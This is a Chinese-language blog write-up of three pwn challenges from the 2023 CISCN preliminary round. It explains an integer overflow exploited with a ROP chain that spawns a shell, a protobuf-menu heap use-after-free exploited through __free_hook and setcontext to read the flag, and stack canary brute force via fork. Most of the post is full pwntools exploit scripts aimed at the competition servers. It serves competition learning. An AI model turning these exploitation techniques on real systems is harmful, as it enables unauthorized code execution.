2023Ciscn初赛

文章发布时间:

最后更新时间:

文章总字数:
1.9k

预计阅读时间:
10 分钟

收获满满的一次比赛

wp就用赛后提交的吧 涉及到重要的知识点都会开新专栏介绍的

烧烤摊儿

在购买物品时 对于数量的判断不严格 存在整数溢出漏洞 输入负数个物品 最后的金额反而会增加 随后直接提供了栈溢出的机会 静态编译的题目 可以直接ROPgadget –binary pwn –ropchain获取一段rop链 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import*
from ctypes import *
#io = process("./pwn")
io = remote("123.56.116.45",26836)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
libc = ELF("/home/test/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")

context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()


io.recvuntil("> ")
io.sendline(b'1')
io.recvuntil("3. 勇闯天涯")
io.sendline(b'1')
io.recvuntil("来几瓶?")
io.sendline(b'-20000')

io.recvuntil("> ")
io.sendline(b'4')

io.recvuntil("> ")
io.sendline(b'5')
io.recvuntil("烧烤摊儿已归你所有,请赐名:")

p = b'a'*0x28

p += pack( 0x000000000040a67e) # pop rsi ; ret
p += pack( 0x00000000004e60e0) # @ .data
p += pack( 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack( 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack( 0x000000000040a67e) # pop rsi ; ret
p += pack( 0x00000000004e60e8) # @ .data + 8
p += pack( 0x0000000000447339) # xor rax, rax ; ret
p += pack( 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack( 0x000000000040264f) # pop rdi ; ret
p += pack( 0x00000000004e60e0) # @ .data
p += pack( 0x000000000040a67e) # pop rsi ; ret
p += pack( 0x00000000004e60e8) # @ .data + 8
p += pack( 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack( 0x00000000004e60e8) # @ .data + 8
p += pack( 0x4141414141414141) # padding
p += pack( 0x0000000000447339) # xor rax, rax ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000496710) # add rax, 1 ; ret
p += pack( 0x0000000000402404) # syscall

# gdb.attach(io,'b *0x401FAE')
# pause(0)
io.sendline(p)
# pause()
io.interactive()

StrangeTalkBot

2.31的一道堆题 但是菜单传参部分是用protobuf来的 先分解出proto文件

1
protoc -I=./ --python_out=./ ctf.proto

再得到ctf_pb2.py文件

1
2
3
4
5
6
7
8
9
10
syntax = "proto2";

package Devicemsg;

message pwn {
optional int64 actionid = 1;
optional int64 msgidx = 2;
optional int64 msgsize = 3;
optional bytes msgcontent = 4;
}

最后import导入 就可以菜单交互了

总体的思路就是利用UAF 来double free 不过没有选择tcachebin attack

貌似edit的时候会破坏原本的堆结构 在tcachebin attack的时候一直没法double free 最后放到fastbin里打任意写了

因为开了沙盒 所以最后是用setcontext的办法来构造orw

但是chunk的大小不够放 所以最后是把把orw改成了单次read 动调查看了执行完read的rsp指针 往那个地址读入rop链就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import*
from ctf_pb2 import *
from ctypes import *
#io = process("./pwn")
io = remote("123.57.248.214",16952)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
libc = ELF("./libc-2.31.so")

context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

def add(index,size,content):
global io
io.recvuntil("You can try to have friendly communication with me now: ")
chunk = pwn()
chunk.actionid = 2
chunk.msgidx = index*2
chunk.msgsize = size+0x10
chunk.msgcontent = content
io.send(chunk.SerializeToString())

def edit(index,size,content):
global io
io.recvuntil("You can try to have friendly communication with me now: ")
chunk = pwn()
chunk.actionid = 4
chunk.msgidx = index*2
chunk.msgsize = size+0x10
chunk.msgcontent = content
io.send(chunk.SerializeToString())

def show(index):
global io
io.recvuntil("You can try to have friendly communication with me now: ")
chunk = pwn()
chunk.actionid = 6
chunk.msgidx = index*2
chunk.msgsize = 0
chunk.msgcontent = b''
io.send(chunk.SerializeToString())

def delete(index):
global io
io.recvuntil("You can try to have friendly communication with me now: ")
chunk = pwn()
chunk.actionid = 8
chunk.msgidx = index*2
chunk.msgsize = 32
chunk.msgcontent = b'/bin/sh\x00'
io.send(chunk.SerializeToString())

for i in range(8):
add(i,0x100,b'/bin/sh\x00')
for i in range(7):
delete(i+1)
delete(0)
show(0)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1ecbe0
success("libc_addr :"+hex(libc_addr))
for i in range(8,17):
add(i,0x60,b'/bin/sh\x00')
for i in range(10,17):
delete(i)
delete(8)
delete(9)
delete(8)
for i in range(17,24):
add(i,0x60,b'')
free_hook = libc_addr + libc.sym['__free_hook']
system_addr = libc_addr + libc.sym['system']
show(14)
io.recv()
heap_addr = u64(io.recv(6).ljust(8,b'\x00'))-0x11c0
success("heap_addr :"+hex(heap_addr))
gadget_addr = libc_addr + 0x0000000000151990
add(24,0x60,p64(free_hook))
add(25,0x60,p64(free_hook))
add(26,0x60,p64(free_hook))
add(27,0x60,p64(gadget_addr))
chunk_addr = heap_addr + 0x1db0-0xc0
setcontext_addr = libc_addr + libc.sym['setcontext']+61
rdi_addr = libc_addr + next(libc.search(asm("pop rdi;ret")))
rsi_addr = libc_addr + next(libc.search(asm("pop rsi;ret")))
open_addr = libc_addr + libc.sym['open']
rdx_addr = libc_addr + 0x0000000000119211
rsp_addr = libc_addr + next(libc.search(asm("pop rsp;ret")))
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
ret_addr = libc_addr + 0x0000000000022679
flag_addr = chunk_addr+0x10
payload = b'./flag\x00\x00'+p64(chunk_addr+0x10)+cyclic(0x10)+p64(setcontext_addr)
payload = payload.ljust(0xa0,b'\x00') + p64(chunk_addr+0x10+0xa8)+p64(ret_addr)
payload += p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(heap_addr+0x1df0)+p64(rdx_addr)+p64(0x200)+p64(0)+p64(read_addr)#+p64(rsp_addr)+p64(heap_addr+0x1000)
add(28,0x1d0,payload)
# gdb.attach(io,'b *'+str(rdi_addr))
# pause(0)
delete(28)
# pause()
payload = p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0) + p64(open_addr)
payload += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(flag_addr+0x100) + p64(rdx_addr) + p64(0x50) + p64(0) + p64(read_addr)
payload += p64(rdi_addr) + p64(1) + p64(rsi_addr) + p64(flag_addr+0x100) + p64(rdx_addr) + p64(0x50) + p64(0) + p64(write_addr)
io.send(payload)
flag = io.recvuntil("}")
print(flag)

funcanary

fork函数爆破canary 网上有相似的题目 直接用了爆破脚本 小改了一下 最后开了pie 还要再爆破16次 但是不知道为啥是概率通 很迷惑 多爆了了几次才出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import*
from ctypes import *
#io = process("./pwn")
io = remote("39.105.26.155",38646)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

io.recvuntil("welcome")
canary = b'\x00'
for j in range(7):

for i in range(0x100):

io.send(cyclic(0x68) + canary + i.to_bytes(1,'little'))

a = io.recvuntil('welcome\n')

if b'have fun' in a:

canary += i.to_bytes(1,'little')

break
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x02'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x12'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x22'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x32'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x42'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x52'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x62'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x72'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x82'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x92'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xa2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xb2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xc2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xd2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xe2'
io.send(payload)
payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xf2'
io.send(payload)
io.interactive()